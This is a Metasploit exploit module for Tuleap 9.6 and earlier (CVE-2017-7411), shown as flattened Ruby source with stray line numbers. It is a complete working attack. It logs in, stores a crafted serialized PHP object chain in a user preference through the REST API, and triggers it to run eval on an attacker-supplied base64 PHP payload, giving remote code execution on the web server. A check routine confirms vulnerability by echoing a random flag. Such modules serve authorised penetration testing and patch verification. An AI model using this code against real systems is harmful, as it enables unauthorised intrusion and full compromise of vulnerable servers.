1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection', 'Description'=> %q{ This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which could be abused by authenticated users to execute arbitrary PHP code with the permissions of the webserver. The vulnerability exists because of the User::getRecentElements() method is using the unserialize() function with data that can be arbitrarily manipulated by a user through the REST API interface. The exploit's POP chain abuses the __toString() method from the Mustache class to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method. }, 'Author' => 'EgiX', 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'http://karmainsecurity.com/KIS-2017-02'], ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'], ['CVE', '2017-7411'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['Tuleap <= 9.6', {}] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Oct 23 2017' )) register_options( [ OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]), OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]), Opt::RPORT(443) ]) end def setup_popchain(random_param) print_status("Trying to login through the REST API...") user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'api/tokens'), 'ctype' => 'application/json', 'data'=> {'username' => user, 'password' => pass}.to_json }) unless res && (res.code == 201 || res.code == 200) && res.body msg = "Login failed with #{user}:#{pass}" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end body= JSON.parse(res.body) uid = body['user_id'] token = body['token'] print_good("Login successful with #{user}:#{pass}") print_status("Updating user preference with POP chain string...") php_code = "null;eval(base64_decode($_POST['#{random_param}']));//" pop_chain ='a:1:{i:0;a:1:{' pop_chain << 's:2:"id";O:8:"Mustache":2:{' pop_chain << 'S:12:"\00*\00_template";' pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";' pop_chain << 'S:11:"\00*\00_context";a:1:{' pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{' pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{' pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}" pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}} res = send_request_cgi({ 'method'=> 'PATCH', 'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"), 'ctype' => 'application/json', 'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid}, 'data'=> pref.to_json }) unless res && res.code == 200 msg = "Something went wrong" print_error(msg) if @is_check fail_with(Failure::UnexpectedReply, msg) end end def do_login print_status("Retrieving the CSRF token for login...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'account/login.php') }) if res && res.code == 200 && res.body && res.get_cookies if res.body =~ /name="challenge" value="(\w+)">/ csrf_token = $1 print_good("CSRF token: #{csrf_token}") else print_warning("CSRF token not found. Trying to login without it...") end else msg = "Failed to retrieve the login page" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi({ 'method'=> 'POST', 'cookie'=> res.get_cookies, 'uri' => normalize_uri(target_uri.path, 'account/login.php'), 'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token} }) unless res && res.code == 302 msg = "Login failed with #{user}:#{pass}" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end print_good("Login successful with #{user}:#{pass}") res.get_cookies end def exec_php(php_code) random_param = rand_text_alpha(10) setup_popchain(random_param) session_cookies = do_login() print_status("Triggering the POP chain...") res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"), 'cookie'=> session_cookies, 'vars_post' => {random_param => Rex::Text.encode_base64(php_code)} }) if res && res.code == 200 && res.body =~ /Exiting with Error/ msg = "No access to Artifact ID #{datastore['AID']}" @is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg) end res end def check @is_check = true flag = rand_text_alpha(rand(10)+20) res= exec_php("print '#{flag}';") if res && res.code == 200 && res.body =~ /#{flag}/ return Exploit::CheckCode::Vulnerable elsif res && res.body =~ /Exiting with Error/ return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit @is_check = false exec_php(payload.encoded) end end |